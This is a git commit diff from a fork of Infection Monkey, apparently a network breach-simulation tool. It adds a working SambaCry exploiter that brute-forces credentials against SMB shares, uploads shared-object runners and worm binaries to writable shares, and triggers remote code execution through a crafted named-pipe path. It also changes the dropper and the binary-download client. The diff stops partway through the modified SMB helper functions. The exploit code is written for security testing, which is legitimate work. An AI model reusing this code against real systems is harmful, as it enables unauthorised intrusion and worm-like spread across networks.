forked from p15670423/monkey
Merge remote-tracking branch 'origin/develop' into feature/refactor-monkey-island
# Conflicts: # monkey_island/cc/main.py
This commit is contained in:
commit
5e9c7eedbb
|
@ -1,7 +1,8 @@
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
from network.range import FixedRange, RelativeRange, ClassCRange
|
from network.range import FixedRange, RelativeRange, ClassCRange
|
||||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter
|
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter,\
|
||||||
|
SambaCryExploiter
|
||||||
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger
|
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger
|
||||||
from abc import ABCMeta
|
from abc import ABCMeta
|
||||||
from itertools import product
|
from itertools import product
|
||||||
|
@ -141,7 +142,7 @@ class Configuration(object):
|
||||||
scanner_class = TcpScanner
|
scanner_class = TcpScanner
|
||||||
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger]
|
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger]
|
||||||
exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits
|
exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits
|
||||||
SSHExploiter, ShellShockExploiter # Linux
|
SSHExploiter, ShellShockExploiter, SambaCryExploiter # Linux
|
||||||
]
|
]
|
||||||
|
|
||||||
# how many victims to look for in a single scan iteration
|
# how many victims to look for in a single scan iteration
|
||||||
|
@ -219,10 +220,33 @@ class Configuration(object):
|
||||||
smb_download_timeout = 300 # timeout in seconds
|
smb_download_timeout = 300 # timeout in seconds
|
||||||
smb_service_name = "InfectionMonkey"
|
smb_service_name = "InfectionMonkey"
|
||||||
|
|
||||||
|
# Timeout (in seconds) for sambacry's trigger to yield results.
|
||||||
|
sambacry_trigger_timeout = 5
|
||||||
|
# Folder paths to guess share lies inside.
|
||||||
|
sambacry_folder_paths_to_guess = ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home']
|
||||||
|
# Shares to not check if they're writable.
|
||||||
|
sambacry_shares_not_to_check = ["IPC$", "print$"]
|
||||||
|
# Name of file which contains the monkey's commandline
|
||||||
|
sambacry_commandline_filename = "monkey_commandline.txt"
|
||||||
|
# Name of file which contains the runner's result
|
||||||
|
sambacry_runner_result_filename = "monkey_runner_result"
|
||||||
|
# SambaCry runner filename (32 bit)
|
||||||
|
sambacry_runner_filename_32 = "sc_monkey_runner32.so"
|
||||||
|
# SambaCry runner filename (64 bit)
|
||||||
|
sambacry_runner_filename_64 = "sc_monkey_runner64.so"
|
||||||
|
# Monkey filename on share (32 bit)
|
||||||
|
sambacry_monkey_filename_32 = "monkey32"
|
||||||
|
# Monkey filename on share (64 bit)
|
||||||
|
sambacry_monkey_filename_64 = "monkey64"
|
||||||
|
# Monkey copy filename on share (32 bit)
|
||||||
|
sambacry_monkey_copy_filename_32 = "monkey32_2"
|
||||||
|
# Monkey copy filename on share (64 bit)
|
||||||
|
sambacry_monkey_copy_filename_64 = "monkey64_2"
|
||||||
|
|
||||||
|
|
||||||
# system info collection
|
# system info collection
|
||||||
collect_system_info = True
|
collect_system_info = True
|
||||||
|
|
||||||
|
|
||||||
###########################
|
###########################
|
||||||
# systeminfo config
|
# systeminfo config
|
||||||
###########################
|
###########################
|
||||||
|
|
|
@ -156,22 +156,50 @@ class ControlClient(object):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def download_monkey_exe(host):
|
def download_monkey_exe(host):
|
||||||
|
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
|
||||||
|
if filename is None:
|
||||||
|
return None
|
||||||
|
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def download_monkey_exe_by_os(is_windows, is_32bit):
|
||||||
|
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
|
||||||
|
ControlClient.spoof_host_os_info(is_windows, is_32bit))
|
||||||
|
if filename is None:
|
||||||
|
return None
|
||||||
|
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def spoof_host_os_info(is_windows, is_32bit):
|
||||||
|
if is_windows:
|
||||||
|
os = "windows"
|
||||||
|
if is_32bit:
|
||||||
|
arch = "x86"
|
||||||
|
else:
|
||||||
|
arch = "amd64"
|
||||||
|
else:
|
||||||
|
os = "linux"
|
||||||
|
if is_32bit:
|
||||||
|
arch = "i686"
|
||||||
|
else:
|
||||||
|
arch = "x86_64"
|
||||||
|
|
||||||
|
return \
|
||||||
|
{
|
||||||
|
"os":
|
||||||
|
{
|
||||||
|
"type": os,
|
||||||
|
"machine": arch
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def download_monkey_exe_by_filename(filename, size):
|
||||||
if not WormConfiguration.current_server:
|
if not WormConfiguration.current_server:
|
||||||
return None
|
return None
|
||||||
try:
|
try:
|
||||||
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
|
||||||
data=json.dumps(host.as_dict()),
|
|
||||||
headers={'content-type': 'application/json'},
|
|
||||||
verify=False, proxies=ControlClient.proxies)
|
|
||||||
|
|
||||||
if 200 == reply.status_code:
|
|
||||||
result_json = reply.json()
|
|
||||||
filename = result_json.get('filename')
|
|
||||||
if not filename:
|
|
||||||
return None
|
|
||||||
size = result_json.get('size')
|
|
||||||
dest_file = monkeyfs.virtual_path(filename)
|
dest_file = monkeyfs.virtual_path(filename)
|
||||||
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file):
|
if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
|
||||||
return dest_file
|
return dest_file
|
||||||
else:
|
else:
|
||||||
download = requests.get("https://%s/api/monkey/download/%s" %
|
download = requests.get("https://%s/api/monkey/download/%s" %
|
||||||
|
@ -191,7 +219,35 @@ class ControlClient(object):
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warn("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
|
|
||||||
return None
|
@staticmethod
|
||||||
|
def get_monkey_exe_filename_and_size_by_host(host):
|
||||||
|
return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
|
||||||
|
if not WormConfiguration.current_server:
|
||||||
|
return None, None
|
||||||
|
try:
|
||||||
|
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
||||||
|
data=json.dumps(host_dict),
|
||||||
|
headers={'content-type': 'application/json'},
|
||||||
|
verify=False, proxies=ControlClient.proxies)
|
||||||
|
|
||||||
|
if 200 == reply.status_code:
|
||||||
|
result_json = reply.json()
|
||||||
|
filename = result_json.get('filename')
|
||||||
|
if not filename:
|
||||||
|
return None, None
|
||||||
|
size = result_json.get('size')
|
||||||
|
return filename, size
|
||||||
|
else:
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
except Exception, exc:
|
||||||
|
LOG.warn("Error connecting to control server %s: %s",
|
||||||
|
WormConfiguration.current_server, exc)
|
||||||
|
|
||||||
|
return None, None
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_control_tunnel():
|
def create_control_tunnel():
|
||||||
|
|
|
@ -6,9 +6,13 @@ import shutil
|
||||||
import pprint
|
import pprint
|
||||||
import logging
|
import logging
|
||||||
import subprocess
|
import subprocess
|
||||||
|
import argparse
|
||||||
from ctypes import c_char_p
|
from ctypes import c_char_p
|
||||||
from model import MONKEY_CMDLINE
|
|
||||||
|
from exploit.tools import build_monkey_commandline_explicitly
|
||||||
|
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
|
||||||
from config import WormConfiguration
|
from config import WormConfiguration
|
||||||
|
from system_info import SystemInfoCollector, OperatingSystem
|
||||||
|
|
||||||
if "win32" == sys.platform:
|
if "win32" == sys.platform:
|
||||||
from win32process import DETACHED_PROCESS
|
from win32process import DETACHED_PROCESS
|
||||||
|
@ -24,14 +28,27 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4
|
||||||
|
|
||||||
class MonkeyDrops(object):
|
class MonkeyDrops(object):
|
||||||
def __init__(self, args):
|
def __init__(self, args):
|
||||||
self._monkey_args = args[1:]
|
arg_parser = argparse.ArgumentParser()
|
||||||
|
arg_parser.add_argument('-p', '--parent')
|
||||||
|
arg_parser.add_argument('-t', '--tunnel')
|
||||||
|
arg_parser.add_argument('-s', '--server')
|
||||||
|
arg_parser.add_argument('-d', '--depth')
|
||||||
|
arg_parser.add_argument('-l', '--location')
|
||||||
|
self.monkey_args = args[1:]
|
||||||
|
self.opts, _ = arg_parser.parse_known_args(args)
|
||||||
|
|
||||||
self._config = {'source_path': os.path.abspath(sys.argv[0]),
|
self._config = {'source_path': os.path.abspath(sys.argv[0]),
|
||||||
'destination_path': args[0]}
|
'destination_path': self.opts.location}
|
||||||
|
|
||||||
def initialize(self):
|
def initialize(self):
|
||||||
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
|
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
|
||||||
|
|
||||||
def start(self):
|
def start(self):
|
||||||
|
|
||||||
|
if self._config['destination_path'] is None:
|
||||||
|
LOG.error("No destination path specified")
|
||||||
|
return
|
||||||
|
|
||||||
# we copy/move only in case path is different
|
# we copy/move only in case path is different
|
||||||
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
|
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
|
||||||
|
|
||||||
|
@ -78,11 +95,19 @@ class MonkeyDrops(object):
|
||||||
except:
|
except:
|
||||||
LOG.warn("Cannot set reference date to destination file")
|
LOG.warn("Cannot set reference date to destination file")
|
||||||
|
|
||||||
monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'],
|
monkey_options = build_monkey_commandline_explicitly(
|
||||||
}
|
self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth))
|
||||||
|
|
||||||
|
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
||||||
|
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
|
||||||
|
else:
|
||||||
|
dest_path = self._config['destination_path']
|
||||||
|
# In linux we have a more complex commandline. There's a general outer one, and the inner one which actually
|
||||||
|
# runs the monkey
|
||||||
|
inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options
|
||||||
|
monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")],
|
||||||
|
'monkey_commandline': inner_monkey_cmdline}
|
||||||
|
|
||||||
if 0 != len(self._monkey_args):
|
|
||||||
monkey_cmdline = "%s %s" % (monkey_cmdline, " ".join(self._monkey_args))
|
|
||||||
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
|
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
|
||||||
stdin=None, stdout=None, stderr=None,
|
stdin=None, stdout=None, stderr=None,
|
||||||
close_fds=True, creationflags=DETACHED_PROCESS)
|
close_fds=True, creationflags=DETACHED_PROCESS)
|
||||||
|
|
|
@ -58,9 +58,20 @@
|
||||||
"serialize_config": false,
|
"serialize_config": false,
|
||||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||||
"skip_exploit_if_file_exist": true,
|
"skip_exploit_if_file_exist": true,
|
||||||
"local_network_scan": true,
|
|
||||||
"exploit_user_list": [],
|
"exploit_user_list": [],
|
||||||
"exploit_password_list" = []
|
"exploit_password_list": [],
|
||||||
|
"sambacry_trigger_timeout": 5,
|
||||||
|
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
|
||||||
|
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
||||||
|
"sambacry_commandline_filename": "monkey_commandline.txt",
|
||||||
|
"sambacry_runner_result_filename": "monkey_runner_result",
|
||||||
|
"sambacry_runner_filename_32": "sc_monkey_runner32.so",
|
||||||
|
"sambacry_runner_filename_64": "sc_monkey_runner64.so",
|
||||||
|
"sambacry_monkey_filename_32": "monkey32",
|
||||||
|
"sambacry_monkey_filename_64": "monkey64",
|
||||||
|
"sambacry_monkey_copy_filename_32": "monkey32_2",
|
||||||
|
"sambacry_monkey_copy_filename_64": "monkey64_2",
|
||||||
|
"local_network_scan": false,
|
||||||
"tcp_scan_get_banner": true,
|
"tcp_scan_get_banner": true,
|
||||||
"tcp_scan_interval": 200,
|
"tcp_scan_interval": 200,
|
||||||
"tcp_scan_timeout": 10000,
|
"tcp_scan_timeout": 10000,
|
||||||
|
|
|
@ -20,3 +20,4 @@ from smbexec import SmbExploiter
|
||||||
from rdpgrinder import RdpExploiter
|
from rdpgrinder import RdpExploiter
|
||||||
from sshexec import SSHExploiter
|
from sshexec import SSHExploiter
|
||||||
from shellshock import ShellShockExploiter
|
from shellshock import ShellShockExploiter
|
||||||
|
from sambacry import SambaCryExploiter
|
||||||
|
|
|
@ -0,0 +1,410 @@
|
||||||
|
import logging
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from io import BytesIO
|
||||||
|
from os import path
|
||||||
|
import itertools
|
||||||
|
import posixpath
|
||||||
|
|
||||||
|
import impacket.smbconnection
|
||||||
|
from impacket.nt_errors import STATUS_SUCCESS
|
||||||
|
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
|
||||||
|
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
|
||||||
|
from impacket.smb import SessionError
|
||||||
|
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, \
|
||||||
|
SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE
|
||||||
|
from impacket.smbconnection import SMBConnection
|
||||||
|
|
||||||
|
import monkeyfs
|
||||||
|
from exploit import HostExploiter
|
||||||
|
from model import DROPPER_ARG
|
||||||
|
from network.smbfinger import SMB_SERVICE
|
||||||
|
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class SambaCryExploiter(HostExploiter):
|
||||||
|
"""
|
||||||
|
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
|
||||||
|
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
|
||||||
|
"""
|
||||||
|
_target_os_type = ['linux']
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self._config = __import__('config').WormConfiguration
|
||||||
|
|
||||||
|
|
||||||
|
def exploit_host(self, host, depth=-1, src_path=None):
|
||||||
|
if not self.is_vulnerable(host):
|
||||||
|
return False
|
||||||
|
|
||||||
|
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
|
||||||
|
LOG.info("Writable shares and their credentials on host %s: %s" %
|
||||||
|
(host.ip_addr, str(writable_shares_creds_dict)))
|
||||||
|
|
||||||
|
host.services[SMB_SERVICE]["shares"] = {}
|
||||||
|
for share in writable_shares_creds_dict:
|
||||||
|
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]}
|
||||||
|
self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth)
|
||||||
|
|
||||||
|
# Wait for samba server to load .so, execute code and create result file.
|
||||||
|
time.sleep(self._config.sambacry_trigger_timeout)
|
||||||
|
|
||||||
|
successfully_triggered_shares = []
|
||||||
|
|
||||||
|
for share in writable_shares_creds_dict:
|
||||||
|
trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share])
|
||||||
|
if trigger_result is not None:
|
||||||
|
successfully_triggered_shares.append((share, trigger_result))
|
||||||
|
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
|
||||||
|
|
||||||
|
for share, fullpath in successfully_triggered_shares:
|
||||||
|
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
|
||||||
|
|
||||||
|
if len(successfully_triggered_shares) > 0:
|
||||||
|
LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def try_exploit_share(self, host, share, creds, depth):
|
||||||
|
"""
|
||||||
|
Tries exploiting share
|
||||||
|
:param host: victim Host object
|
||||||
|
:param share: share name
|
||||||
|
:param creds: credentials to use with share
|
||||||
|
:param depth: current depth of monkey
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
smb_client = self.connect_to_server(host.ip_addr, creds)
|
||||||
|
self.upload_module(smb_client, host, share, depth)
|
||||||
|
self.trigger_module(smb_client, share)
|
||||||
|
smb_client.close()
|
||||||
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
|
LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
|
||||||
|
|
||||||
|
def clean_share(self, ip, share, creds):
|
||||||
|
"""
|
||||||
|
Cleans remote share of any remaining files created by monkey
|
||||||
|
:param ip: IP of victim
|
||||||
|
:param share: share name
|
||||||
|
:param creds: credentials to use with share.
|
||||||
|
"""
|
||||||
|
smb_client = self.connect_to_server(ip, creds)
|
||||||
|
tree_id = smb_client.connectTree(share)
|
||||||
|
file_list = [self._config.sambacry_commandline_filename, self._config.sambacry_runner_result_filename,
|
||||||
|
self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64,
|
||||||
|
self._config.sambacry_monkey_filename_32, self._config.sambacry_monkey_filename_64,
|
||||||
|
self._config.sambacry_monkey_copy_filename_32, self._config.sambacry_monkey_copy_filename_64]
|
||||||
|
|
||||||
|
for filename in file_list:
|
||||||
|
try:
|
||||||
|
smb_client.deleteFile(share, "\\%s" % filename)
|
||||||
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
|
# Ignore exception to try and delete as much as possible
|
||||||
|
pass
|
||||||
|
smb_client.disconnectTree(tree_id)
|
||||||
|
smb_client.close()
|
||||||
|
|
||||||
|
def get_trigger_result(self, ip, share, creds):
|
||||||
|
"""
|
||||||
|
Checks if the trigger yielded any result and returns it.
|
||||||
|
:param ip: IP of victim
|
||||||
|
:param share: share name
|
||||||
|
:param creds: credentials to use with share.
|
||||||
|
:return: result of trigger if there was one. None otherwise
|
||||||
|
"""
|
||||||
|
smb_client = self.connect_to_server(ip, creds)
|
||||||
|
tree_id = smb_client.connectTree(share)
|
||||||
|
file_content = None
|
||||||
|
try:
|
||||||
|
file_id = smb_client.openFile(tree_id, "\\%s" % self._config.sambacry_runner_result_filename,
|
||||||
|
desiredAccess=FILE_READ_DATA)
|
||||||
|
file_content = smb_client.readFile(tree_id, file_id)
|
||||||
|
smb_client.closeFile(tree_id, file_id)
|
||||||
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
smb_client.disconnectTree(tree_id)
|
||||||
|
smb_client.close()
|
||||||
|
return file_content
|
||||||
|
|
||||||
|
def get_writable_shares_creds_dict(self, ip):
|
||||||
|
"""
|
||||||
|
Gets dictionary of writable shares and their credentials
|
||||||
|
:param ip: IP address of the victim
|
||||||
|
:return: Dictionary of writable shares and their corresponding credentials.
|
||||||
|
"""
|
||||||
|
writable_shares_creds_dict = {}
|
||||||
|
credentials_list = self.get_credentials_list()
|
||||||
|
|
||||||
|
for credentials in credentials_list:
|
||||||
|
try:
|
||||||
|
smb_client = self.connect_to_server(ip, credentials)
|
||||||
|
shares = self.list_shares(smb_client)
|
||||||
|
|
||||||
|
# don't try shares we can already write to.
|
||||||
|
for share in [x for x in shares if x not in writable_shares_creds_dict]:
|
||||||
|
if self.is_share_writable(smb_client, share):
|
||||||
|
writable_shares_creds_dict[share] = credentials
|
||||||
|
|
||||||
|
smb_client.close()
|
||||||
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
|
# If failed using some credentials, try others.
|
||||||
|
pass
|
||||||
|
|
||||||
|
return writable_shares_creds_dict
|
||||||
|
|
||||||
|
def get_credentials_list(self):
|
||||||
|
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||||
|
|
||||||
|
# Add empty credentials for anonymous shares.
|
||||||
|
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
|
||||||
|
|
||||||
|
for user, password in user_password_pairs:
|
||||||
|
credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})
|
||||||
|
|
||||||
|
return credentials_list
|
||||||
|
|
||||||
|
def list_shares(self, smb_client):
|
||||||
|
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
|
||||||
|
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
|
||||||
|
|
||||||
|
def is_vulnerable(self, host):
|
||||||
|
"""
|
||||||
|
Checks whether the victim runs a possibly vulnerable version of samba
|
||||||
|
:param host: victim Host object
|
||||||
|
:return: True if victim is vulnerable, False otherwise
|
||||||
|
"""
|
||||||
|
if SMB_SERVICE not in host.services:
|
||||||
|
LOG.info("Host: %s doesn't have SMB open" % host.ip_addr)
|
||||||
|
return False
|
||||||
|
|
||||||
|
pattern = re.compile(r'\d*\.\d*\.\d*')
|
||||||
|
smb_server_name = host.services[SMB_SERVICE].get('name')
|
||||||
|
samba_version = "unknown"
|
||||||
|
pattern_result = pattern.search(smb_server_name)
|
||||||
|
is_vulnerable = False
|
||||||
|
if pattern_result is not None:
|
||||||
|
samba_version = smb_server_name[pattern_result.start():pattern_result.end()]
|
||||||
|
samba_version_parts = samba_version.split('.')
|
||||||
|
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
|
||||||
|
is_vulnerable = True
|
||||||
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
|
||||||
|
is_vulnerable = True
|
||||||
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"):
|
||||||
|
is_vulnerable = True
|
||||||
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"):
|
||||||
|
is_vulnerable = True
|
||||||
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
|
||||||
|
is_vulnerable = True
|
||||||
|
|
||||||
|
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
|
||||||
|
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
|
||||||
|
|
||||||
|
return is_vulnerable
|
||||||
|
|
||||||
|
def is_share_writable(self, smb_client, share):
|
||||||
|
"""
|
||||||
|
Checks whether the share is writable
|
||||||
|
:param smb_client: smb client object
|
||||||
|
:param share: share name
|
||||||
|
:return: True if share is writable, False otherwise.
|
||||||
|
"""
|
||||||
|
LOG.debug('Checking %s for write access' % share)
|
||||||
|
try:
|
||||||
|
tree_id = smb_client.connectTree(share)
|
||||||
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
|
||||||
|
writable = True
|
||||||
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
|
writable = False
|
||||||
|
pass
|
||||||
|
|
||||||
|
smb_client.disconnectTree(tree_id)
|
||||||
|
|
||||||
|
return writable
|
||||||
|
|
||||||
|
def upload_module(self, smb_client, host, share, depth):
|
||||||
|
"""
|
||||||
|
Uploads the module and all relevant files to server
|
||||||
|
:param smb_client: smb client object
|
||||||
|
:param host: victim Host object
|
||||||
|
:param share: share name
|
||||||
|
:param depth: current depth of monkey
|
||||||
|
"""
|
||||||
|
tree_id = smb_client.connectTree(share)
|
||||||
|
|
||||||
|
with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
|
||||||
|
smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)
|
||||||
|
|
||||||
|
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
||||||
|
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_32, monkey_runner_bin_file.read)
|
||||||
|
|
||||||
|
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
|
||||||
|
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read)
|
||||||
|
|
||||||
|
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
|
||||||
|
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
|
||||||
|
|
||||||
|
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
|
||||||
|
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read)
|
||||||
|
|
||||||
|
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
|
||||||
|
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read)
|
||||||
|
|
||||||
|
smb_client.disconnectTree(tree_id)
|
||||||
|
|
||||||
|
def connect_to_server(self, ip, credentials):
|
||||||
|
"""
|
||||||
|
Connects to server using given credentials
|
||||||
|
:param ip: IP of server
|
||||||
|
:param credentials: credentials to log in with
|
||||||
|
:return: SMBConnection object representing the connection
|
||||||
|
"""
|
||||||
|
smb_client = SMBConnection(ip, ip)
|
||||||
|
smb_client.login(
|
||||||
|
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
|
||||||
|
return smb_client
|
||||||
|
|
||||||
|
def trigger_module(self, smb_client, share):
|
||||||
|
"""
|
||||||
|
Tries triggering module
|
||||||
|
:param smb_client: smb client object
|
||||||
|
:param share: share name
|
||||||
|
:return: True if might triggered successfully, False otherwise.
|
||||||
|
"""
|
||||||
|
trigger_might_succeeded = False
|
||||||
|
module_possible_paths = self.generate_module_possible_paths(share)
|
||||||
|
for module_path in module_possible_paths:
|
||||||
|
trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
|
||||||
|
|
||||||
|
return trigger_might_succeeded
|
||||||
|
|
||||||
|
def trigger_module_by_path(self, smb_client, module_path):
|
||||||
|
"""
|
||||||
|
Tries triggering module by path
|
||||||
|
:param smb_client: smb client object
|
||||||
|
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
|
||||||
|
:return: True if might triggered successfully, False otherwise.
|
||||||
|
"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
# the extra / on the beginning is required for the vulnerability
|
||||||
|
self.open_pipe(smb_client, "/" + module_path)
|
||||||
|
except (impacket.smbconnection.SessionError, SessionError) as e:
|
||||||
|
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
|
||||||
|
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
pass
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def generate_module_possible_paths(self, share_name):
|
||||||
|
"""
|
||||||
|
Generates array of possible paths
|
||||||
|
:param share_name: Name of the share
|
||||||
|
:return: Array of possible full paths to the module.
|
||||||
|
"""
|
||||||
|
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
|
||||||
|
file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]
|
||||||
|
return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)]
|
||||||
|
|
||||||
|
def get_monkey_runner_bin_file(self, is_32bit):
|
||||||
|
if is_32bit:
|
||||||
|
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_32), "rb")
|
||||||
|
else:
|
||||||
|
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
|
||||||
|
|
||||||
|
|
||||||
|
def get_monkey_commandline_file(self, host, depth, location):
|
||||||
|
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
|
||||||
|
|
||||||
|
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
|
||||||
|
def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
|
||||||
|
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
|
||||||
|
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
|
||||||
|
|
||||||
|
packet = smb_client.getSMBServer().SMB_PACKET()
|
||||||
|
packet['Command'] = SMB2_CREATE
|
||||||
|
packet['TreeID'] = treeId
|
||||||
|
if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
|
||||||
|
